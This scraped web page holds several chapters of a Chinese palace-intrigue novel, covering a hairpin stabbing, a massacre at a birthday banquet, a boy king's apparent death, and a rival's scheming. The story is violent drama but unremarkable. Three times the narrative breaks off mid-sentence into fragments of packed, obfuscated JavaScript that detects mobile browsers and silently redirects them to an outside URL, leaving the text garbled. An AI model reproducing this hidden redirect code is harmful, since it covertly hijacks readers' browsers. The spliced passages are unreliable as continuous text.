这几天,在春羽孜孜不倦的叙说下,舜英已能大概记住与自己关系密切的几个人:冯姮、元璟、元旭、承祎三兄妹。冯姮吩咐,是时候小聚一下,免得传出血亲家人不睦的谣言。 北苑水榭的圆桌上摆满菜肴,多以河鲜和素食为主,清凉淡雅、鲜甜可人,吃起来正合暑热气候。 承祎带着弟弟妹妹,先向冯姮与舜英行礼,元旭再向两宫太后和幼主行礼,然后再依次落座。 “母后喜欢吃乳酿鱼。”舜英用公筷搛起最柔嫩的鱼腹,放到冯姮面前小碗里,冯姮含笑夹起咬了一小口。 “承……陛下喜欢吃鹅脯。”夹起一片胭脂鹅脯放到承祎面前,承祎收起眼中落寞,笑了笑,放进嘴里细嚼慢咽。 “二公主喜欢吃金乳酥。”她用小勺舀起大半勺,倒进承徽面前小碗里。承徽泪汪汪舀起,一边落泪一边吞咽。 “三殿下……”她顿了顿,春羽忙用眼神示意,她立即反应过来,搛起一块蒸彘肩给承祉,承祉没心没肺,乐呵呵一口叼走。 到元旭那边时,舜英眼睛亮了:“这次准没错,阿旭喜欢吃鱼脍,多加丁子香、少淋醋。” 一小叠鱼脍递过来,薄如蝉翼、莹白剔透,元旭手一僵,垂眸微笑:“御医说四嫂需心情愉悦,儿臣向母后求个恩典,邀四嫂与徽儿去儿臣寒舍,跑马射箭。” 舜英迷惑地看了看春羽,又看向冯姮:“母后,这是否有悖宫规?” “出去散散心也好,带上徽儿和承祉”,冯姮笑意融融,“你们是自小的交情,不必讲那么多虚礼。” . 班珂是将门虎女,为筹备大婚,元旭在鹤雪别苑后买了块地,圈作演武场。 演武场空空如也,只有极远处几个仆人在打理标靶。舜英亲自挑选两匹温驯的小马,一匹给承徽、一匹给承祉,承祉依然没心没肺骑着马踱来踱去。 承徽正策马绕着舜英转圈,马匹飒沓如风,她在马背不断腾挪,时而侧骑、时而旋转、时而翻身,娴熟轻盈得像一只雨燕、一片树叶。带着些炫技意味,一边在马背上舞蹈一边高喊:“母后看我……看我……” “徽儿的马术由冯氏教授,只怕不输阿姊当年。”元旭在她身后站定,笑着悠悠开口。 舜英错愕转头:“阿姊?不是四嫂?” 元旭毫不在意笑笑:“我寻找阿姊大半年,还问到苻洵跟前,你怎么跑去北宛?还是说……你本想去找大嫂?” 舜英身躯一僵,慢慢转身注视着他,眼神与表情一样平静无澜。 他今天穿着深蓝薄绸直裰,头发绾得一丝不苟,束一枚花纹繁复赤金冠、别一支赤金簪,看去依然干净而灵秀,只是眉宇间多了几分内敛沉稳。 迎着舜英平淡目光,他继续问:“为什么是大嫂?” “阿姊宁愿相信认识没几年的苻洵,相信只打过几次照面的大嫂,却从未想过信我?” 他眼神陡然冷厉,步步紧逼:“你跟北翊串谋了何事,他们才肯出力将你送回阊江?你回到这里,究竟意欲何为?” 舜英被逼得连连倒退,满脸惊惶迷惑:“你在说什么?” “够了,别装了!”他声音陡然拔高,清秀面容显出几分狰狞,“从小你就会装,装坦率、装无知、装乖顺……哄得母后母妃和四哥一个比一个喜欢你,可笑,只有我一直蒙在鼓里。” “到头来,竟只有母后在真心替我打算”,他失声冷笑、眼眶通红,突然迅速伸手,隔袖子攥住她手腕,高声质问,“我拿你们当亲姐妹,你们拿我当什么?” “放手!”舜英咬牙往外一挣,挣脱他的掌控,唇角勾起冷笑,“亲姐妹?” 然而,只是刹那,她面容又恢复平静迷茫,转身向马速减缓的承徽走去。 “你站住!”元旭紧随其后追过去,一边走一边说,嗓音带着泪意,“阿姊是不是忘了,与你一起长大的不止四哥,还有我和五姐姐!” 舜英脚步陡然一顿,旋即足底生风走得更快。元旭小碎步跟得气喘吁吁,心一横,伸手抓住她衣袖,扯得她一个踉跄、冷漠转身。 “褚舜英,你变成现在这样,对得起谁的苦心?” 元旭怒声说着,手快得像闪电,抓向盖住上半张脸的面具,面具扯落的刹那—— “啪”一记清脆的耳光,元旭白皙的脸颊霎时浮出五道通红指印。 舜英怒叱:“放肆!” 元旭错愕一瞬,摸了摸指印,怒极反笑:“放肆?你是不是演得太久,忘记自己从前什么模样?” 冷声说着,又伸手去拉扯她:“这里可没什么宫廷侍卫,我今天还就放肆了,不说清楚休想走!” 舜英被他拉得连连倒退,电光火石间,抬手拔下他头上金簪,对着他胸口狠狠刺去:“滚开,别碰我!” 承徽和承祉刚下马,见这边起了争执,忙一左一右抱住她胳膊,想把二人拉开。舜英振了振手臂,本想甩开二人,见是稚子、便不再搭理,只咬牙将那支金簪一分分往里推去。 金簪有些锋利,刺破外袍、中衣后,一团血红慢慢洇开。 “母后,不是坏人,是六叔!”承徽泪汪汪哀求,“六叔,母后不是故意的,她自从回阊江,就很讨厌别人碰她。快给母后道个歉啊,你刚刚不是故意要拉扯她。” 元旭咬牙冷笑:“怎么,出去一圈力气都变小了?” 两个孩子哭成一团:“六叔,不要再激母后了……”无奈力气太小,怎么都拉不开舜英。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997961|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 恍然闪过一道灰影,轻轻巧巧拎开俩孩子,一个手刀劈在舜英脑后,小心翼翼将她放下。恭声道:“卑职夏小乙救援来迟。” “扎进去不深”,元旭长舒一口气,捂着冒血的胸口,踉踉跄跄站起来,“宣御医。” 舜英被抬回宝慈宫,御医请了半天脉,摇摇头说是心疾,只能安神镇定、徐徐图之。又一致建议,既然她只信任冯姮,在心疾痊愈之前,最好不要与其他成年人相处。 从此,舜英每天在宝慈宫等三个孩子来请安,其余时间只与冯姮叙话闲聊、同吃同住、同起同卧。 冯姮坐在花房里,闲闲修剪着梅枝。冬雪侍立在旁,念着七月初七“千秋节”的场地布置、宾客名单。 冯姮听得直摇头:“都是干将能臣,一个都舍弃不得。” 冬雪试探着问:“那两位呢?” 冯姮蹙眉:“卢照仪和元瀚海?他们是明明白白的褚后党,没有作案动机。” 思忖片刻道:“刚回来没几天,莫名其妙猝死在自己生辰宴……若没个靠谱缘由、传出去太难听,哀家再想想吧。初一?” 冬雪身后闪出个黑色身影,屈膝一礼:“卑职在。” 冯姮沉吟道:“你们‘冬’部手上其他事暂缓,去寻几样东西,无论是蛮疆、西羌还是北宛,务必不惜一切代价,越快越好。” 她拿过炭笔,在纸上缓缓写下一行蝇头小楷。初一双手捧起瞥了一眼,脸色未变,沉声道“遵命”,将纸条反反复复读了几遍,交给冬雪,施了一礼退出。 又问:“阿旭伤得怎样?那天究竟是何场景?” 夏小乙屈膝一礼:“褚娘娘谨守宫规,平南侯逼问过激,争辩中不慎误伤。” 冯姮叹了口气:“不必再试,眼下真忘假忘也没那么要紧,千秋节快到了,你们夏、秋两部主要留意宫里风吹草动。” 两条灰色身影领命而去,悄然与夜色融为一体。 冬雪忧虑道:“如今朝野上下皆知,褚娘娘住在大娘娘眼皮子底下,确实难想办法。” “急什么?时间一长自有分晓”,冯姮面带微笑,用铁丝将梅枝捆向一个方向、定型,“机会嘛……等着等着就有了。不要自乱阵脚,行得正、就不怕影子斜。” 冬雪一愣,旋即恍然大悟,目光掠过冯姮右手,再瞄过自己双手,干干净净、不染半点泥土和血迹。 . 鸾扇斜分凤幄开,星桥横过鹊飞回。 延光七年七月初七,南翊幼主元承祎为庆祝生母回归,于紫极殿设“千秋宴”,三公九卿、三代以内元氏宗亲皆莅临庆贺,就连领兵在外的太尉班益,也托元旭班珂夫妻送来贺礼。 三十六枝灯树将紫极殿照得金碧辉煌,螭陛之上,元承祎坐居中主位,右手边坐着冯太后。右边座位往下依次为:承徽承祉、新婚燕尔的元旭与班珂、云飞燕、冯广年及冯氏子弟…… 但更多目光聚集在承祎左手边——空空如也,左边座位往下依次为:元璟、卢照仪、元瀚海、褚钧贤及其他在京褚氏子弟…… 后殿传来通报:“褚后娘娘到——” 承祎忙起身走向后殿,亲自搀扶生母就坐,殿内红地毯上已齐刷刷跪了两列。待承祎道了“平身”之后,不少人抬眸起身的刹那,乍然瞥见舜英,齐齐一震。 那似曾相识的衣裙:月白上衫、荼白下裳交领襦裙,用金丝银线织出曲水流云暗纹,天青色缂丝褙子上以孔雀羽线绣出九对神鸟、山川河流。 正是永平一年四月二十,她穿着一模一样的王后礼服,出席永平朝第一次武举恩科。 视线上移,她上半张脸被面具遮住,那面具由秘银打造、简约却不失精美。曾在永平一朝戍边的武官霎时热血沸腾:他们熟悉的面具! 195. 鸿门宴 庄王曾为褚后打造秘银面具,要求她巡军和征战沙场时全程佩戴。旁人问及,他只说恐杀伐之气伤及爱妻,至于实际原因…… 见过褚舜英容貌的人,都露出男人之间心照不宣的笑。 但是,随着永平三年御驾亲征、永平五年北伐、永平七年收复朔门关,这张面具逐渐在军中铸成一种象征——南翊将士对永平一朝武功强盛的缅怀。 都道褚后七年前手刃宣氏叛臣、率隐蝠卫杀入柘枝城,性命垂危之际仍谋划着刺杀敌国名将,虽败犹荣。却不幸流落北宛,被折磨得丢失大半条命、记忆全失。 可她往螭陛上一坐,端庄、沉稳,那气势一如既往,无端就令人感觉神寒骨清、气度秀华。面具下隐约可见两道纵横伤疤,虽破损她作为女子的美貌,却更添女君的凌厉威仪。 她目光扫过所有人,平等地淡漠茫然,倒比之前多几分深不可测。 在座宾客心神凛然,顿时鸦雀无声。 冯姮轻笑打破沉默:“如此盛宴当有歌舞,阿英,这第一支曲子,按旧例应由寿星点。” 舜英也笑了,柔声道:“儿臣不通音律,即便往日知晓些曲目、此时也忘光了,干脆有什么听什么,图个便宜?” 承祎开口:“朕听闻父王生前最爱《破阵乐》,不如以此乐曲、壮我前线将士军威?” 众人心里齐齐一叹:选得好选得妙,南翊精兵在翊东三十五城,与荣军打得难分难舍,正是需要鼓舞士气之时。 舜英向冯姮投去征询的目光,冯姮欣然颔首应允。 觥筹交错,推杯换盏。 二十多名少年鱼贯而入,全是卫尉寺从世家子中擢拔的备选侍卫,十五六岁的年纪,身披银白软甲、手执霜白刀剑,端的是容貌俊美、英挺潇洒。 笛声起调,编钟随后,琵琶、二弦、三弦、胡琴接踵而至,其余奏乐紧紧附和……殿中刀光剑影、阵型变换、呐喊震天,如有千军鼎沸、万马奔腾。 座下宾客心绪激荡,恍然还是十多年前,螭陛上端坐的不是幼主和两宫太后,而是风华正茂、文治武功的庄王君后。 那个一去不返的辉煌时代。 元承祎含笑道:“朕曾听闻永平一年洛京会盟,有宾客为《破阵乐》联句和歌,乐府录之传唱后世。宣——” 左右偏殿门忽然大开,乐人分作两队、站在宾客身后的柱子后,齐声颂唱。 “君不见,朔北八月塞草腓,十五从军八十归。”两鬓斑白的老将埋头默然饮酒。 “君不见,黄沙碛里无流水,柘支城中少春晖。”参与过永平五年北伐的武官慷慨和歌。 “君不见,昭君远嫁已年多,烽烟又起人不寐。”元璟和冯广年不约而同看向冯姮,轻轻挑眉——他们在剑舞中听见几缕利刃破开气流的尖啸。 然而,不过须臾,那声响转瞬即逝,仍是银漆木质刀剑沉浊的呼声。 “君不见,粼粼白骨梦春闺,古来征战几人回?”座下宾客心念一动,齐齐望向遍体鳞伤却仍风骨潇潇的褚舜英。 元承祎亲自为母斟满酒杯,面向她、率领弟妹与群臣道:“孩儿恭祝母后诞辰,花灿金萱,星辉宝婺,千秋万岁,芳龄永驻。” “君不见,何年秦皇空九宇,边声连角唤霍卫?” 殿内犹寒光闪闪,群臣祝颂之后,元璟和冯广年同时起身道:“臣不才,愿作剑器舞为陛下及两位女君助兴。” 语毕,不待螭陛上幼主和女君回话,从扈从侍卫腰间拔出佩剑,和着激烈鼓点、琵琶声,龙泉腾月白,秋水耀星光,冷光森森、龙吟细细。 部分年轻臣子咋舌:“丞相剑术居然这样好?” 有人悄声提点:“褚娘娘一身好武艺便是师从丞相。” 殿中少年侍卫阵型变幻越来越快,似一圈又一圈飞转的漩涡,带起肆掠狂风,殿中各人眼花缭乱,看不清对面、高位上的动作和表情。 元璟和冯广年的剑也越挥越快,亮白的光带起团团重影,挡在少年侍卫与螭陛之间。 宾客隐隐心惊,他们也听到了利刃划破空气的尖啸——不止两柄,至少十几柄。 少年侍卫表演的《破阵乐》混进了真刀实剑! 坐下宾客面面相觑,已然开始悄声议论,舜英一脸漠然,承祎正给她斟酒,脸上带着乖巧的微笑。冯姮面色仍然沉静、眼角余光却已觑向身侧侍立的宫装女子,微微颔首。 乐曲依然奏着,侍卫依然舞者,甚至站在宾客身后的歌者依然中气十足地唱着,一咏三叠—— “君不见,粼粼白骨梦春闺,古来征战几人回?” “好,唱得好”,承祎挡在舜英座位前,转身端起酒杯,“古来征战几人回?” 所有目光齐刷刷盯向他手中酒杯,却见他笑着递到唇边,慢慢饮下…… 众人提着的心放下。 他将还剩半杯的琉璃杯再次举起,众人的心再次悬起。 他却只缓缓倾斜酒杯,一线莹亮酒液慢慢流下,溅落倾洒在地。 “这杯酒,朕与前线战死的将士共饮。” 冯姮松了口气,笑道:“如此佳节,陛下可送些酒肉到前线,让将士同庆。” 承祎点点头,将酒杯放到舜英桌上,笑容可掬注视着冯姮:“孙儿有一事请教祖母。” “何事?” “朔北冤死于内战的几万将士,该如何喝到这些美酒?” 话音刚落,“轰隆”之声不绝于耳,紫极殿四方殿门齐齐紧闭。宾客发出惊恐嘘声,惶然四顾寻找逃生路径,座席中忽然传出一声短促惨叫,血溅三尺。 众人循声望去,只见坐在左列的冯辽抽搐着向前倾倒,脖子上巨大豁口正不断喷溅鲜血。 承祎突然惊呼“母后”,众人又将目光投向螭陛,安静端坐的舜英不知何时倾身栽倒,跌下座位晕厥过去,唇边一摊黑血。元璟睁大双眼,飞快收剑奔向舜英,托住她身躯,含泪呼喊:“阿英——” 冯姮正惊愕盯着冯辽,听到动静转头,眼里闪过惊惶和茫然,张了张嘴正要说话,承祎已倏然拔出佩剑指向她:“祖母为何毒杀母后?” 电光火石间,殿中骤然闪起一阵白,沉静的白是白绫、耀眼的白是刀光,从唱歌的乐人手中挥出,座下冯后党羽被勒颈的勒颈、封喉的封喉。 同一时刻,剑舞表演的侍卫方阵腾起磅礴亮光,寒气纷乱涌向螭陛,冯广年忙持刀跳到冯姮面前:“护驾,护驾!” 承祎回身瞥了一眼中毒晕倒的舜英,缓缓移过剑尖,指向坐在席首的元旭,一步一步走过去:“六叔,你利用大伯娘信任,一簪刺死她的时候,有没有想过今日?” 元旭惊得站了起来,拉起班珂护在身后、跌跌撞撞往后退去:“你冷静些,我不是故意的……失手……” “朕今日杀了你夫妻,也是失手!”元承祎冷睨一眼正与冯广年和夏部暗卫缠斗的少年侍卫,举着剑离元旭越来越近,猛然挥过。 “阿旭——”班珂凄厉呼喊。 一朵血花陡然绽放又凋落,元旭挡在班珂身前,深深剑痕从左肩一直划到右腰。 “陛下!”元璟正焦躁地在身上摸索常见解毒药,给舜英喂水送服,瞥见殿内场景,悚然高呼,“陛下,褚娘娘快不行了。” 承祎那张稚嫩的脸血迹斑斑,带着与年龄不符的狠戾,走回螭陛上,漠然盯着满殿血腥:“众臣听着,朔北永远是大翊的朔北,伯父阖家以命抵御异族数年,流着的是元氏血脉,更是我大翊子民!” 冯氏党羽有为数不少武将,在第一轮的屠杀后已清醒过来,纷纷举起条案、茶几等家具搏斗逃窜。其余臣子一边奔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007088|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走躲闪以免误伤自己,听见此话,动作稍微顿了顿。 承祎又道:“北宛异族,狼子野心,谋弑我父在先、欺凌我母在后。冯太后率先背弃‘边垣之盟’、擅断粮草,柘枝城未平、挑动内战,欲耗尽三郡两州骑兵,将这大好河山拱手让与母国!” 殿中躲避的臣子动作又是一顿,虽不动声色,对视的眼神中已蕴含惊疑。 同样的话,四月底姜夫人薨逝时听到过,此时从自家幼主口中说出,却添了截然不同的意味。 有人热血沸腾振臂高呼:“臣愿追随陛下殄灭奸党、匡扶正统、收复河山!” 有人起头,殿中开始窃窃私语,几名性情急躁的武将想要站起来,有旁边溜出机灵的姻亲挚友将其摁下,紫极殿一时人心浮动、暗流汹涌。 忽然,正殿大门轰然洞开,一声鸣镝飒沓而至,方才起头高呼那人被洞穿胸膛,呆滞僵立许久、轰然倒地。 叮叮当当乱响的刀剑声停了,惨叫声停了,就连满地尸首都停止了抽搐,殿中所有动作霎时凝滞、鸦雀无声,如被无形的大手掐住脖子。 冯姮收起方才慌乱,气定神闲站起来,满眼不解和悲痛。 “陛下何故谋反?” 庭燎晣晣,铁靴踏地声整齐划一,飞速由远及近,手执火把的卫尉寺侍卫如壮丽的火龙,到了殿门飞速分流成几股,往其他殿门涌去。不过须臾,紫极殿已被围得如同铁桶。 侍卫涌入殿中,又一场血肉横飞的厮杀,刀剑互斫声、惨叫声慢慢稀少,只剩令人窒息的死寂。 披甲将领飞奔而入,跪地高呼:“末将卫尉少卿冯睦,拜见太后!” 冯姮淡淡扫过满地狼藉,瞥过舜英时,瞳孔急遽收缩:“阿英,阿英,宣御医!” “徽儿莫慌,安心照顾母后”,元承祎手提滴血的剑、缓缓走过去,挡在舜英、元璟、承徽身前,寒声道,“酒是祖母送的,祖母想杀母后不是一两天的事,何必如此惺惺作态?” 元璟惊得站了起来,顾不得礼数、紧紧攥住他袖子:“陛下知不知道自己在说什么?” “朕是说,祖母这摄政太后名不正言不顺,自然要想方设法除掉名正言顺的”,元承祎拂开元璟的拉扯,一字字高声道:“父王临终前,以衣带为纸、破指为墨,托顾命于伯父。他殒身之后十五年内,有未及冠而继任大统者,亲政之前,唯尊母后为摄政太后,临朝称制,令出一门、政出一地!” 宾客之中,除了冯氏党羽位高权重,更多办实事的官员都熟悉庄王行事,略一思量竟都觉血诏内容可信。 正思量间,元璟忽然身形一晃,夺过元承祎手中的剑,高声呼喊:“陛下疯了!” 旋即对冯姮屈膝跪下,潸然泪下:“七年来,陛下对亡母思念过深,眼见娘娘流落在外饱受苦楚,心痛之下出言狂悖,还请大娘娘宽恕。” 然后高声反驳:“陛下自即位从未出过阊江半步,定是从何处听了贼子挑唆。无凭无据,请陛下慎言!” 元旭由班珂扶着,强行撑直身体,附和道:“无凭无据,请陛下慎言!” 卢照仪、元瀚海确认过眼神,立即跟着喊起来:“无凭无据,请陛下慎言!” 其余臣子纷纷下跪附议:“请陛下慎言!” 元承祎环顾四周,眼眶通红、狞恶如魔鬼,忽然笑起来,笑得全身颤抖,一步步走过森寒刀剑丛林和满地尸骸,边走边徒手从侍卫手中夺过一把刀,往外走去。 “杀母之仇不共戴天!” “朕宁为高贵乡公死,不为常道乡公生。” 冯姮淡淡道:“陛下言重!” 元承祎转头,傲然斜睨一眼她,提着带血的剑,目不斜视、继续走向殿外。 忽然,一阵狂风吹过,殿内殿外所有灯火齐齐熄灭,伸手不见五指。 196. 镇狱明王 黑暗中不知潜伏多少人在搏杀,惊呼声、慌乱脚步声、箭矢声、刀兵出鞘声、利刃刮过人骨的摩擦声、喊到一半戛然而止的惨叫、血流声…… 无数呼喊,混乱、焦躁、恐惧、愤怒、惊惶…… “延光二年六月、今年四月,妖后蓄意拖延救援、借刀杀人,坑死金州军!” “诛杀妖后,为镇南公报仇!” “为枉死的袍泽报仇!” “保护大娘娘!” “护驾!” “保护褚娘娘!” 月黑风高夜,一有火光亮起便被扑灭,屠杀不知持续了多久,待灯烛再次被点燃,殿内寂静如死。 受到宣召的御医走进紫极殿时,被眼前场景震惊了,黏稠的血淹过鞋背,血泊中横陈着惨不忍睹的尸首,宫人的、臣子的、侍卫的、黑衣刺客的…… 螭陛之上,平南侯由妻子搀扶着,横剑于胸前,与冯广年及十来个卫尉寺侍卫,将冯太后和承祉护在圈中;另一侧,丞相元璟手执长刀,浑身溅满鲜血,将中毒晕厥的褚后护在身后,褚后身边是瑟瑟发抖的承徽,正流泪抱紧褚后。 空荡荡的殿堂,铁靴和软底鞋的脚步声同时出现在门口。 “末将卫尉少卿冯睦,已将各位重臣平安送出宫门,特来向大娘娘复命!” “卑职秋拾,已率秋部诛灭崔氏逆党余孽,特来向大娘娘复命!” 冯姮抬眸,容色平静无悲无喜:“夏部呢?” 秋宜:“夏小乙正率夏部顺藤摸瓜、探察逆党线索。” 冯姮点点头,默了良久,看向御医:“为何还不给阿英诊治?” . 舜英在一片清雅沉静的沉水香中醒来,睁开双眸,映入眼帘是纤尘不染的白,绣着朵朵浅粉海棠花。沉香木大床、沉香木妆台、沉香木书案、沉香木多宝格……目光所及皆是沉香木。 窗下放着一尊鎏金浮雕花卉纹三足香炉,乳白香雾冉冉流淌,以沉香之醇厚、蕴雪松之温润、合白檀之清苦微甘、沁冰雪之凛冽,嗅之静气凝神、清冷高贵。 宫室陈设似曾相识,香气似曾相识,正是十三年前她初受册封时,景和宫的模样。 披衣起身,走出寝殿大门,海棠花期已过,秋风卷着片片黄叶在空中飞舞,花圃里的茉莉和山茶都开得正好,茉莉花摇曳着碎玉琼枝,山茶托起层层叠叠玛瑙红,满庭馨香。 她像是住在一个凝固的时空,存放着冯姮心里关于元旻的一切活物和遗物,包括她——遗孀也是遗物。 她踱到后墙,那里栽着几树梅花,此时无花无叶、唯有几光秃秃的枝桠张牙舞爪指向天空。 肩头传来柔软触感,旋即后背一暖,春羽将一件大氅披在她身上:“娘娘昏迷近半月,此时可感觉好些了?” 舜英目光扫过几株梅树:“腊梅?” 春羽一一指过去:“这是腊梅、这是绿萼梅,这是红梅——大娘娘说庄王陛下最喜欢红梅,让奴婢们多种些。” 舜英表情一滞,眼里闪过惊异,旋即若无其事笑了:“他确实喜欢红梅。” “娘娘都记起来了?”春羽脸上绽出狂喜,“御医果然料事如神,说娘娘所中之毒药性刚猛、会冲撞经脉,或许歪打正着对娘娘头疾有益。” “有些印象,不太清晰……我还记得母后最喜欢在北苑摆小宴聚会,那时候承祎……”,她勃然变色,一把攥住春羽衣袖,“我记得中毒倒下之前,承祎正跟臣子喝酒,那酒里有毒,他现在怎样了?有没有中毒?如此烈性毒药是谁加到酒里的?” 春羽脸色僵住,旋即挤出微笑:“陛下没中毒,毒药的事廷尉府和宗正寺正在查。” 舜英松了口气,忽又急切地说:“那场宴会混进去刺客,他们杀了冯辽……母后、母后和承祎兄妹怎样了?” 春羽欲言又止数次,避重就轻道:“大娘娘无恙。” 舜英笑了,强撑虚弱身躯向外走去:“我身子已无大碍,咱们去勤政殿看看承祎?” 春羽幽幽叹了口气:“娘娘,外面冷,咱们进屋里说。” 舜英脚步一顿,笑容凝固在脸上:“姑姑,承祎他……那晚究竟怎么回事?” “羽林卫在护城河寻到了陛下”,春羽低下头,声音细如蚊蚋,“廷尉府正在搜寻崔氏余孽。” . 一个时辰后,春羽急急忙忙冲出景和宫,跌跌撞撞跑进宝慈宫:“大娘娘,娘娘不好了。” 承祉躺在宝慈宫暖阁的床上、瑟瑟发抖,冯姮正给他喂药,蹙眉低斥:“慢慢说,怎么回事?” “果如御医所说,褚娘娘受烈性毒药所激,头疾有所好转”,春羽急得两眼含泪,“可她非追问王上的下落,然后就……” 冯姮惊愕:“景和宫不是有御医当值么?不即刻医治还等什么?” 春羽两眼含泪,哽咽道:“奴婢如实说了,可娘娘不信,非要亲自去看,王上的尸首已被水泡得……很不体面。” 冯姮眼圈发红,眼眸泛起泪花:“不信也没法子,虽然看不出面目,可那衣饰体型、就连左肋下的胎记都一模一样。” 她沉吟半晌,幽幽道:“阿英想看就去看,纸包不住火……叫御医同行,准备随时救治。” 春羽走后,冯姮替睡去的承祉掩好被子,慢慢走到远离寝殿的花圃,伸手拂过一朵朵玛瑙红山茶花。 冬雪跟在她身后,迟疑着轻声问:“未见面目就确定陛下身份,是否太草率?市面上有黥师,可做出一模一样的胎记。” 冯姮摇头:“最好的黥师刺出印记,也得一个多月才能自然如本生。” 冬雪思索片刻:“大娘娘高见,从密报来看,陛下起事准备得很仓促。迎回娘娘是意外,陛下安排千秋宴更是临时起意,确实不可能布局那么早。” 冯姮突然说:“阿英的身子须得好好调养,不计什么刁钻药材,该用就用。” “奴婢知道大娘娘慈心,早已吩咐下去,定然保褚娘娘近几年无虞”,觑见冯姮神色稍霁,冬雪又试探说:“褚娘娘一直耿直心思浅,眼下瞧着,当年景和宫那事她并未察觉……” “这不重要,重要的是承祉”,冯姮眉心浮起忧虑和痛心,却唇角带笑,看向寝殿的方向,坚决地说,“之前让承祎接触太多人,这次,哀家不会再放纵任何人教坏陛下。” . 南翊延光七年七月初七,褚后诞辰“千秋宴”突发暴动,崔氏逆臣与卫尉寺、宗正寺部分故旧里应外合,大行谋逆之举。 混乱之中,大部分冯氏党羽遇害,褚后身中剧毒侥幸活命,延光王下落不明。为保护圣驾,丞相元璟、平南侯元旭身受重伤,御史大夫卢照仪、羽林卫副指挥使褚钧贤以身殉国。 “好冠冕堂皇的告示”,苻洵将密报揉成一团,“崔氏,好大一口锅。” 郎琊艰难咽下唾沫:“主子,这点消息卑职也打探了近一月,折了咱们好几个人,才从那晚幸存官员的卧房屋顶偷听到。” “估计事情太大,对自家娘子都不敢说实话”,苻洵叹了口气,又将密报慢慢展开,轻轻摩挲着那行“褚后身中剧毒”,“也不知她中什么毒,疼不疼?” 郎琊也叹了口气:“夫人身怀神鸟之血,对毒物抗性还行。这次算是因祸得福,只是太遭罪。” 国不可一日无君,延光七年七月十五,冯太后扶立三王子元承祉为王。七月二十,南翊尚书台昭告天下,由冯、褚两宫太后同时垂帘听政。 原丞相元璟因伤势过重,上书自请致仕疗养,平南侯元旭接任丞相。 阊江众口皆传,元旭温柔好善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015560|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、爱民质渊,无论是在宗室朝野还是民间,均具有极高的声望,同时深得两位摄政太后信重,拜相可谓众望所归。 “一个比一个会瞎编”,苻洵满脸糟心,“信重?想把他头拧下来差不多。真是怎么恶心人怎么编排。” “还有更恶心人的,阊江都传遍了”,郎琊觑着他神色,小心翼翼地说,“说是平南侯跟褚后叔嫂……” “噗”,苻洵一口茶水喷得到处都是,“他们?我还不如相信白天见鬼。” 又好奇问:“具体传的什么?” 郎琊心惊胆战,低声说:“褚后看到亲子遗体伤心过度,当场呕血晕厥,每每散朝之后卧床不起,平南侯除了处理政务,入夜还去景和宫亲自服侍汤药。” “早知今日,去年除夕就该揍得他亲娘都认不出”,苻洵攥紧拳头,咬牙切齿道,“一堆人逮着她欺负,冯太后竟连这样下作手段都使得出来?” 郎琊忙劝说:“夫人待主子绝无二心……” “不是这个……翊国没几个摄政太后不养情郎,冯太后肯定没指望从谣言上做文章”,苻洵蹙眉沉吟许久道,“怕是千秋宴的事不小,想把这俩人推前面去挡刀子。” 郎琊疑惑道:“卑职有一事不明,冯太后之前不遗余力追杀夫人,为何千秋宴不浑水摸鱼?” “因为夫人突然变得有用了”,苻洵冷笑道,“听说过镇狱明王吗?” 郎琊一怔:“传说中威严狠戾、法力无边,镇压地狱十方魔众的尊神。” “翊桓王曾曰,假使天下无有朕,不知当有几人称孤、几人道寡?”苻洵神色一肃,字字铿锵沉声道,“翊国以武立国,兵多将广,堪称地狱十方魔众,从来都是内忧大于外患。若无镇狱明王,不知有几人称孤道寡?” 郎琊恍然大悟:“如此看来,翊国历朝历代都有这样一个人担当此角色。” 苻洵点头:“那个人可以是国君,也可以是摄政太后,甚至可以是权臣、外戚……可以不率兵打仗,但必须让所有军队相信,他进可保家卫国、开疆拓土,退可震慑驻军、惩治不臣。最最重要的是,这人可以跋扈煊赫,却必须拥护元氏国祚,绝无叛国、里通异族的嫌疑。” 郎琊会意:“昭王、庄王、元晞殿下和烈王自不必说,褚氏是土生土长的翊人,又是国君母族……延光王呢?” 苻洵冷声道:“都说他聪慧坚毅酷肖其父,只怕正因如此、才招致冯太后忌惮。” 郎琊接口:“可南翊需要他稳定军心,这不对劲呀……冯太后需要他,为何要杀掉他?” “那就得看千秋节究竟发生了何事”,苻洵凉凉地说,“冯太后再精通权术,也不过一沽名贪权政客,不能为她所用,必会为她所杀。” 旋即,他挑了挑眉,带出几分厌恶轻蔑:“一辈子高座庙堂、不染风雪,她懂什么家国大义?又懂什么军队、懂什么战争?” 郎琊沉吟道:“主子,如今阊江这形势,咱们在东原道……” “新君即位、军心动荡,从天而降的大好事”,苻洵舒展眉眼、漾起凛冽笑意,“自然是——趁他病要他命!” 